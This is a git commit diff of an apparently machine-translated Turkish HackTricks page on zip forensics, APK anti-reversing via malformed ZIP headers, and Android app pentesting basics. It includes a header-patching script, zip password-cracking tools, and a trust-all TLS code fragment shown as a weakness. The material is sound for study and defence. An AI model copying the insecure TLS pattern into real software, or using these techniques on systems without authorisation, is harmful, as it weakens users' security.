Translated ['', 'src/network-services-pentesting/pentesting-web/php-tric

This commit is contained in:
Translator 2025-09-04 01:07:00 +00:00
parent 382e43590f
commit e2da0eef69
18 changed files with 1790 additions and 1785 deletions

View File

@ -2,37 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
**Command-line tools** zip dosyalarını yönetmek için; tanılama, onarma ve şifre kırma işlemlerinde gereklidir. İşte bazı önemli araçlar:
**Komut satırı araçları**, **zip dosyalarını** yönetmek, teşhis etmek, onarmak ve kırmak için esastır. İşte bazı önemli araçlar:
- **`unzip`**: Bir zip dosyasının neden açılmayabileceğini ortaya çıkarır.
- **`zipdetails -v`**: zip dosyası format alanlarının ayrıntılı analizini sunar.
- **`unzip`**: Bir zip dosyasının neden açılmayabileceğini gösterir.
- **`zipdetails -v`**: Zip dosyası formatı alanlarının ayrıntılı analizini sunar.
- **`zipinfo`**: Bir zip dosyasının içeriğini çıkarmadan listeler.
- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozulmuş zip dosyalarını onarmayı dener.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Yaklaşık 7 karaktere kadar parolalar için etkili bir zip parola kırma aracı.
- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozuk zip dosyalarını onarmaya çalışır.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zip parolalarını brute-force ile kırmak için bir araç; yaklaşık 7 karaktere kadar parolalar için etkilidir.
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sağlar.
Bu [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sağlar.
Şuna dikkat etmek önemlidir: parola korumalı zip dosyaları içinde dosya adlarını veya dosya boyutlarını şifrelemezler; bu, RAR veya 7z dosyalarının sahip olmadığı bir güvenlik açığıdır (bu formatlar bu bilgileri şifreleyebilir). Ayrıca, eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifresiz bir kopyası mevcutsa bir plaintext attack'a karşı savunmasızdır. Bu saldırı, bilinen içeriği kullanarak zip parolasını kırmayı sağlar; bu zafiyet [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) adresinde ve [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) içinde detaylandırılmıştır. Ancak, AES-256 ile korunmuş zip dosyaları bu plaintext attack'a karşı bağışıktır; bu da hassas veriler için güvenli şifreleme yöntemleri seçmenin önemini gösterir.
Parola korumalı zip dosyalarının dosya adlarını veya dosya boyutlarını **şifrelemediğini** bilmek önemlidir; bu, bu bilgileri şifreleyen RAR veya 7z ile paylaşılan bir güvenlik açığı değildir. Ayrıca, daha eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifrelenmemiş bir kopyası mevcutsa **plaintext attack**'a karşı savunmasızdır. Bu saldırı bilinen içeriği kullanarak zip parolasını kırar; bu zafiyet [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) ve [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) adreslerinde detaylandırılmıştır. Ancak **AES-256** şifrelemesiyle korunan zip dosyaları bu **plaintext attack**'e karşı bağışıktır; bu da hassas veriler için güvenli şifreleme yöntemlerinin seçilmesinin önemini gösterir.
---
## Manipüle edilmiş ZIP başlıkları kullanılarak APK'larda anti-reversing hileleri
## APK'lerde manipüle edilmiş ZIP başlıkları kullanılarak anti-reversing hileleri
Modern Android malware dropper'ları, APK'nın cihazda kurulabilir kalmasını sağlarken static araçları (jadx/apktool/unzip) bozmak için bozuk ZIP metadata'sı kullanır. En yaygın hileler şunlardır:
Modern Android malware dropları, APK'nın cihazda kurulabilir kalmasını sağlarken statik araçları (jadx/apktool/unzip) bozmak için hatalı ZIP metadata'sı kullanır. En yaygın hileler şunlardır:
- ZIP General Purpose Bit Flag (GPBF) bit 0'ı set ederek sahte şifreleme
- Parser'ları şaşırtmak için büyük/özel Extra alanlarını kötüye kullanma
- Gerçek öğeleri gizlemek için dosya/klasör isim çakışmaları (örn., gerçek `classes.dex` yanında `classes.dex/` isimli bir dizin)
- ZIP General Purpose Bit Flag (GPBF) bit 0'ı ayarlayarak sahte şifreleme
- Ayrıştırıcıları şaşırtmak için büyük/özel Extra fields kullanımı
- Gerçek artefaktları gizlemek için dosya/dizin adı çakışmaları (ör. gerçek `classes.dex`'in yanında `classes.dex/` adlı bir dizin)
### 1) Fake encryption (GPBF bit 0 set) without real crypto
### 1) Gerçek kriptografi olmadan sahte şifreleme (GPBF bit 0 ayarlı)
Belirtiler:
- `jadx-gui` şu tür hatalarla başarısız olur:
- `jadx-gui` şu gibi hatalarla başarısız olur:
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip` core APK dosyaları için parola ister, oysa geçerli bir APK `classes*.dex`, `resources.arsc`, veya `AndroidManifest.xml` dosyalarını şifreli olamaz:
- `unzip` geçerli bir APK'nın `classes*.dex`, `resources.arsc` veya `AndroidManifest.xml` dosyaları şifreli olamayacağı halde temel APK dosyaları için parola ister:
```bash
unzip sample.apk
@ -47,7 +47,7 @@ zipdetails ile tespit:
```bash
zipdetails -v sample.apk | less
```
Yerel ve merkezi başlıklar için General Purpose Bit Flag'e bakın. İhbar edici bir değer, çekirdek girdiler için bile bit 0'ın setlenmiş olması (Encryption):
Yerel ve merkezi başlıklar için General Purpose Bit Flag'e bakın. İpuçlarından biri, core entries için bile bit 0'ın ayarlı olmasıdır (Encryption):
```
Extract Zip Spec 2D '4.5'
General Purpose Flag 0A09
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
Heuristik: Bir APK cihazda yüklenip çalışıyorsa ama araçlara göre core girdileri "encrypted" görünüyorsa, GPBF üzerinde oynanmış demektir.
Sezgisel: Eğer bir APK cihazda yüklenip çalışıyor ama araçlar için çekirdek girdileri "şifrelenmiş" gibi görünüyorsa, GPBF üzerinde oynama yapılmıştır.
Düzeltme: Hem Local File Headers (LFH) hem de Central Directory (CD) girdilerindeki GPBF bit 0'ı temizleyerek yapılır. Minimal byte-patcher:
Düzeltme: Hem Local File Headers (LFH) hem de Central Directory (CD) girdilerindeki GPBF bit 0'ı temizleyin. Minimal byte-patcher:
```python
# gpbf_clear.py clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -94,31 +94,31 @@ Kullanım:
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
Artık çekirdek girişlerinde `General Purpose Flag 0000` görmelisiniz ve araçlar APK'yi tekrar ayrıştıracaktır.
Artık çekirdek girdilerinde `General Purpose Flag 0000` görmelisiniz ve araçlar APK'yı yeniden ayrıştıracaktır.
### 2) Ayrıştırıcıları bozmak için büyük/özel Extra fields
### 2) Ayrıştırıcıları bozmak için büyük/özel Extra alanlar
Saldırganlar, dekompilerleri yanıltmak için başlıklara aşırı büyük Extra fields ve tuhaf ID'ler yerleştirir. Gerçek dünyada oraya gömülü özel işaretçiler (ör. `JADXBLOCK` gibi dizeler) görebilirsiniz.
Saldırganlar decompiler'ları bozmak için başlıklara aşırı büyük Extra alanlar ve garip ID'ler ekler. Gerçek dünyada oraya gömülü özel işaretler (ör. `JADXBLOCK` gibi dizeler) görebilirsiniz.
İnceleme:
```bash
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
Gözlemlenen örnekler: `0xCAFE` ("Java Executable") veya `0x414A` ("JA:") gibi bilinmeyen ID'lerin büyük payloadlar taşıması.
Gözlemlenen örnekler: `0xCAFE` ("Java Executable") veya `0x414A` ("JA:") gibi bilinmeyen ID'ler büyük payloads taşıyor.
DFIR heuristikleri:
- Çekirdek girdilerde (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) Extra fields olağandışı büyükse uyarı verin.
- Bu girdilerdeki bilinmeyen Extra ID'lerini şüpheli olarak değerlendirin.
DFIR heuristics:
- Core girdilerde (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) Extra fields olağandışı şekilde büyükse uyarı oluşturun.
- Bu girdilerdeki bilinmeyen Extra ID'lerini şüpheli kabul edin.
Pratik çözüm: arşivi yeniden oluşturmak (ör. çıkarılan dosyaları yeniden ziplemek) zararlı Extra fields'leri kaldırır. Araçlar sahte şifreleme nedeniyle çıkarmayı reddediyorsa, önce yukarıda belirtildiği gibi GPBF bit 0'ı temizleyin, sonra yeniden paketleyin:
Pratik hafifletme: arşivi yeniden oluşturmak (ör. çıkarılan dosyaları yeniden zip'lemek) kötü amaçlı Extra field'ları temizler. Araçlar sahte şifreleme nedeniyle çıkarmayı reddederse, önce yukarıda belirtildiği gibi GPBF bit 0'ı temizleyin, sonra yeniden paketleyin:
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
(cd /tmp/apk && zip -qr ../clean.apk .)
```
### 3) Dosya/Dizin ad çakışmaları (gerçek artefaktları gizleme)
### 3) Dosya/Dizin adı çakışmaları (gerçek artefaktların gizlenmesi)
Bir ZIP hem bir dosya `X` hem de bir dizin `X/` içerebilir. Bazı extractors ve decompilers karışıklık yaşayabilir ve gerçek dosyayı bir dizin girdisiyle üst üste yazabilir veya gizleyebilir. Bu, `classes.dex` gibi çekirdek APK isimleriyle çakışan girdilerde gözlemlenmiştir.
Bir ZIP içinde hem bir dosya `X` hem de bir dizin `X/` bulunabilir. Bazı extractors ve decompilers karışıp gerçek dosyanın üzerine dizin girdisi bindirebilir veya onu gizleyebilir. Bu, `classes.dex` gibi temel APK adlarıyla çakışan girdilerde gözlemlenmiştir.
Triage ve güvenli çıkarma:
```bash
@ -149,9 +149,9 @@ if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team tespit fikirleri:
- Flag, local header'ları şifrelemeyi işaret eden (GPBF bit 0 = 1) fakat yine de install/run olan APK'ler.
- Flag, core entry'lerdeki büyük/bilinmeyen Extra field'lar (ör. `JADXBLOCK` gibi marker'lara bak).
- Flag path-collisions (`X` and `X/`) özellikle `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` için.
- Yerel başlıkları şifrelemeyi işaret eden (GPBF bit 0 = 1) fakat yine de kurulan/çalıştırılan APK'ları işaretle.
- Çekirdek girişlerindeki büyük/bilinmeyen Extra fields'leri işaretle (look for markers like `JADXBLOCK`).
- Yol çakışmalarını (`X` ve `X/`) özellikle `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` için işaretle.
---

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## Android Uygulamaları Temelleri
It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**:
Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; **Android güvenliği ile ilgili en önemli parçalar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için:
{{#ref}}
@ -13,23 +13,23 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Bu, emüle edilmiş veya fiziksel bir android cihaza bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
**ADB**, bir bilgisayardan cihazları ya **USB** ya da **Network** üzerinden kontrol etmeye olanak sağlar. Bu yardımcı araç, dosyaların her iki yönde de **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, logların **okunmasını** ve diğer işlevleri mümkün kılar.
Bu, bir android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
**ADB**, bilgisayardan **USB** veya **Network** üzerinden cihazları kontrol etmeye olanak tanır. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevleri sağlar.
Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb.
ADB'nin nasıl kullanılacağını öğrenmek için aşağıdaki [**ADB Commands**](adb-commands.md) listesine göz atın.
## Smali
Bazen uygulama kodunu **değiştirip** gizli bilgilere (ör. iyi şekilde obfuskated edilmiş parolalar veya flag'ler) erişmek ilginç olabilir. Bu durumda apk'yı decompile edip, kodu değiştirip tekrar derlemek ilginç olabilir.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, dinamik analiz sırasında yapılacak çeşitli testler için çok faydalı bir alternatif olabilir. Bu olasılığı her zaman aklınızda bulundurun.
Bazen gizli bilgilere erişmek (ör. iyi obfuskelenmiş parolalar veya flags) için uygulama kodunu **değiştirmek** ilginç olabilir. Bu durumda, apk'yi decompile edip, kodu değiştirip tekrar derlemek ilginç olabilir.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, yapılacak dinamik analiz sırasında gerçekleştirilecek birkaç test için çok kullanışlı bir **alternatif** olabilir. Bu olasılığı her zaman aklınızda bulundurun.
## Diğer ilginç hileler
## Other interesting tricks
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **APK İndirme**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Cihazdan APK çıkarma:
```bash
adb shell pm list packages
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Tüm split ve base APK'ları [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin:
- Tüm split'leri ve base apk'ları [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştir:
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Vaka Çalışmaları & Zayıflıklar
## Vaka İncelemeleri ve Güvenlik Açıkları
{{#ref}}
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Statik Analiz
Öncelikle, bir APK'yı analiz etmek için bir decompiler kullanarak **Java koduna göz atmalısınız**.\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
Her şeyden önce bir APK'yı analiz etmek için bir decompiler kullanarak **Java koduna bakmalısınız**.\
Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md).
### İlginç Bilgiler Arama
Sadece APK'nin **strings**'ine bakarak **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ve ilginç diğer her şeyi arayabilirsiniz... hatta kod yürütme **backdoors** veya authentication backdoors (hardcoded admin credentials to the app) için bakın.
Sadece APK'nın **strings**'ine bakarak **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod çalıştırma için **backdoors** veya kimlik doğrulama backdoor'ları (uygulamaya gömülü admin kimlik bilgileri) arayın.
**Firebase**
Özellikle **firebase URLs**'e dikkat edin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**firebase URLs**'e özellikle dikkat edin ve kötü yapılandırılmış olup olmadığını kontrol edin. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Uygulamayı Temel Olarak Anlama - Manifest.xml, strings.xml
### Uygulamanın Temel Anlaşılması - Manifest.xml, strings.xml
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının incelenmesi potansiyel güvenlik zayıflıklarını ortaya çıkarabilir. Bu dosyalara decompiler kullanarak veya APK dosya uzantısını .zip olarak değiştirip açarak erişilebilir.
Bir uygulamanın _Manifest.xml_ ve _strings.xml_ dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalara decompiler'lar kullanılarak veya APK dosyasının uzantısını .zip yapıp açarak erişilebilir.
Manifest.xml'den tespit edilebilecek zayıflıklar şunlardır:
**Manifest.xml** dosyasından tespit edilebilecek **güvenlik açıkları** şunlardır:
- **Hata Ayıklamaya Açık Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar risk taşır çünkü bağlantılara izin vererek istismara yol açabilir. Debuggable uygulamaların cihazda bulunup istismar edilmesi hakkında daha fazla bilgi için bir eğitim kaynağına bakın.
- **Backup Ayarları**: Hassas bilgi işleyen uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde usb debugging etkin iken adb üzerinden yetkisiz veri yedeklemelerine izin verilebilir.
- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domainler için HTTP trafiğine izin verilmesi gibi.
- **Exported Activities and Services**: Manifest içindeki exported aktiviteler ve servislerin tespit edilmesi, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında bu bileşenlerin nasıl istismar edilebileceği daha detaylı analizle anlaşılabilir.
- **Content Providers ve FileProviders**: Açığa çıkan content provider'lar yetkisiz erişim veya veri değiştirmeye izin verebilir. FileProviders yapılandırması da dikkatle incelenmelidir.
- **Broadcast Receivers ve URL Schemes**: Bu bileşenler giriş zafiyetleri açısından kullanılabilir; özellikle URL şemalarının nasıl yönetildiğine dikkat edilmelidir.
- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android versiyonlarını gösterir; güvenlik açısından eski ve zafiyetli Android sürümlerini desteklememenin önemi burada ortaya çıkar.
- **Debuggable Applications**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar risklidir çünkü istismara yol açabilecek bağlantılara izin verirler. Hata ayıklanabilir uygulamaların nasıl bulunup istismar edileceğini öğrenmek için ilgili eğitime bakın.
- **Backup Settings**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özniteliği açıkça ayarlanmalıdır; özellikle usb debugging etkinse adb üzerinden yetkisiz veri yedeklemelerini önlemek için.
- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik ayrıntılarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verme.
- **Exported Activities and Services**: Manifest'te dışa açık (exported) activity ve service'lerin tespit edilmesi, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenlerin nasıl istismar edilebileceğini gösterebilir.
- **Content Providers and FileProviders**: Açıkta bırakılmış content provider'lar yetkisiz erişime veya veri değişikliğine izin verebilir. FileProvider konfigürasyonu da dikkatle incelenmelidir.
- **Broadcast Receivers and URL Schemes**: Bu bileşenler istismar için kullanılabilir; özellikle URL scheme yönetimindeki giriş doğrulama zafiyetlerine dikkat edilmelidir.
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; güvenlik açısından eski ve zayıf Android sürümlerini desteklememenin önemi vurgulanır.
**strings.xml** dosyasından API keys, custom schemas ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu kaynakların dikkatle incelenmesi önemlidir.
**strings.xml** dosyasından API keys, custom schemas ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir; bu da bu kaynakların dikkatle incelenmesi gerektiğini gösterir.
### Tapjacking
**Tapjacking**, kötü amaçlı bir **application**'ın başlatılıp **kurban uygulamanın üzerine konumlanmasıyla** yapılan bir saldırıdır. Kurban uygulamayı görsel olarak engellediğinde, kötü uygulamanın kullanıcı arayüzü kullanıcıyı etkileşimde bulunmaya kandıracak şekilde tasarlanır ve etkileşim kurban uygulamaya iletilir.\
Sonuç olarak, kullanıcı aslında kurban uygulama üzerinde işlem yaptığını fark etmeyecek şekilde **körleştirilir**.
**Tapjacking**, bir **kötü amaçlı** **uygulamanın** başlatıldığı ve **hedef uygulamanın** üstüne konumlandığı bir saldırıdır. Görsel olarak hedef uygulamayı örttüğünde, kullanıcıyı kandırıp onunla etkileşimde bulunmasını sağlayacak şekilde tasarlanmıştır; bu etkileşimler aynı zamanda hedef uygulamaya iletilir.\
Sonuç olarak, kullanıcıya aslında hedef uygulama üzerinde işlem yaptığını fark ettirmeden onu kör eder.
Daha fazla bilgi için bakın:
Find more information in:
{{#ref}}
@ -104,9 +104,9 @@ tapjacking.md
### Task Hijacking
`launchMode`'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **activity**, task Hijacking'e karşı savunmasızdır. Bu, başka bir **application** kurulup gerçek uygulamadan önce başlatıldığında **gerçek uygulamanın task'ını ele geçirebileceği** anlamına gelir (yani kullanıcı gerçek uygulamayı kullanıyor sanırken **kötü amaçlı uygulama ile etkileşimde bulunacaktır**).
Bir **activity**'nin **`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamışsa task Hijacking'e karşı savunmasızdır. Bu, bir **application** yüklenip gerçek uygulamadan önce başlatılırsa gerçek uygulamanın görevini **hijack edebileceği** anlamına gelir (yani kullanıcı, gerçek uygulamayı kullanıyor zannederek **kötü amaçlı uygulama** ile etkileşimde bulunacaktır).
Detaylar için:
More info in:
{{#ref}}
@ -115,71 +115,71 @@ android-task-hijacking.md
### Güvensiz veri depolama
**Internal Storage**
**Dahili Depolama**
Android'de internal storage'da **stored** edilen dosyalar, onları oluşturan **app** tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik önlemi Android işletim sistemi tarafından uygulanır ve çoğu uygulamanın güvenlik ihtiyaçları için genelde yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin vermek için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanır. Bu modlar, bu dosyalara diğer uygulamalar (potansiyel olarak kötü amaçlı olanlar dahil) tarafından erişimi kısıtlamaz.
Android'de dahili depolamada **saklanan** dosyalar, onları **oluşturan** **uygulama** tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik önlemi Android işletim sistemi tarafından uygulanan bir mekanizmadır ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin veren `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanırlar. Bu modlar dosyaların diğer uygulamalar (potansiyel olarak kötü amaçlı olanlar dahil) tarafından erişilmesini kısıtlamaz.
1. **Static Analysis:**
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatle incelenmesini** sağlayın. Bu modlar dosyaların **istemeden veya yetkisiz şekilde erişime**ılmasına neden olabilir.
2. **Dynamic Analysis:**
- Uygulama tarafından oluşturulan dosyaların **izinlerini** doğrulayın. Özellikle herhangi bir dosyanın **dünya tarafından okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını kontrol edin. Bu, cihazda yüklü herhangi bir uygulamanın, kaynağı veya amacı ne olursa olsun, bu dosyaları **okuyup değiştirmesine** izin verebileceği için ciddi bir güvenlik riski oluşturur.
1. **Statik Analiz:**
- **MODE_WORLD_READABLE** ve **MODE_WORLD_WRITABLE** kullanımının dikkatle incelenmesini **sağlayın**. Bu modlar dosyaları **istenmeyen veya yetkisiz erişime açabilir**.
2. **Dinamik Analiz:**
- Uygulama tarafından oluşturulan dosyalara atanmış **izinleri doğrulayın**. Özellikle herhangi bir dosyanın **tüm dünyaya okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazdaki herhangi bir uygulamanın, kaynağı veya amacı ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin verebileceği için büyük bir güvenlik riski oluşturur.
**External Storage**
**Harici Depolama**
SD Kart gibi **external storage** üzerindeki dosyalarla uğraşırken şu önlemler alınmalıdır:
SD Kart gibi **harici depolama** ile uğraşırken bazı önlemler alınmalıdır:
1. **Erişilebilirlik**:
- External storage üzerindeki dosyalar **global olarak okunabilir ve yazılabilir**dir. Bu, herhangi bir uygulama veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**dir. Yani herhangi bir uygulama veya kullanıcı bu dosyalara erişebilir.
2. **Güvenlik Endişeleri**:
- Erişimin kolay olması nedeniyle, hassas bilgileri external storage'da saklamamak önerilir.
- External storage çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan daha az güvenlidir.
3. **External Storage'dan Gelen Verilerin İşlenmesi**:
- External storage'dan alınan veriler üzerinde her zaman **input validation** yapın. Bu kritik öneme sahiptir çünkü veriler güvensiz bir kaynaktan gelmektedir.
- External storage'da bulunan yürütülebilir veya class dosyalarının dinamik olarak yüklenmesi şiddetle önerilmez.
- Uygulamanız external storage'dan yürütülebilir dosyalar almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olmasını sağlayın. Bu adım uygulamanızın güvenlik bütünlüğünü korumak için esastır.
- Kolay erişim nedeniyle hassas bilgilerin harici depolamada saklanmaması tavsiye edilir.
- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir, bu yüzden daha az güvenlidir.
3. **Harici Depolamadan Veri İşleme**:
- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu çok önemlidir çünkü veriler güvenilmeyen bir kaynaktan gelmektedir.
- Harici depolamada saklanan yürütülebilir veya class dosyalarının dinamik yüklenmesi şiddetle önerilmez.
- Uygulamanızın harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım uygulamanızın güvenlik bütünlüğü için hayati önem taşır.
External storage şu yollarla **erişilebilir**: /storage/emulated/0 , /sdcard , /mnt/sdcard
Harici depolamaya şu yollardan erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard
> [!TIP]
> Android 4.4 (**API 17**) ile başlayarak, SD kartta bir dizin yapısı vardır ve bu yapı **bir uygulamanın yalnızca o uygulamaya özel dizine erişimini sınırlayacak şekilde** düzenlenmiştir. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
> Android 4.4 (**API 17**) ile başlayarak, SD kartın bir dizin yapısı vardır ve bu yapı bir uygulamanın yalnızca kendine ayrılmış dizine erişimini sınırlar. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
**Clear-text olarak saklanan hassas veriler**
**Düz metin olarak saklanan hassas veriler**
- **Shared preferences**: Android her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda kolayca xml dosyaları kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulunabilir.
- **Databases**: Android her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanları kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulunabilir.
- **Shared preferences**: Android her uygulamanın `/data/data/<packagename>/shared_prefs/` yoluna xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde hassas bilgilerin düz metin halinde bulunması mümkündür.
- **Databases**: Android her uygulamanın `/data/data/<packagename>/databases/` yoluna sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde hassas bilgilerin düz metin halinde bulunması mümkündür.
### Broken TLS
**Accept All Certificates**
**Tüm Sertifikaları Kabul Etme**
Bazı nedenlerden dolayı geliştiriciler bazen tüm sertifikaları kabul eder; örneğin hostname uyuşmaması olsa bile aşağıdaki gibi kod satırlarıyla:
Bazı nedenlerle geliştiriciler bazen tüm sertifikaları kabul ederler; örneğin hostname eşleşmese bile aşağıdaki gibi kod satırlarıyla:
```java
SSLSocketFactory sf = new cc(trustStore);
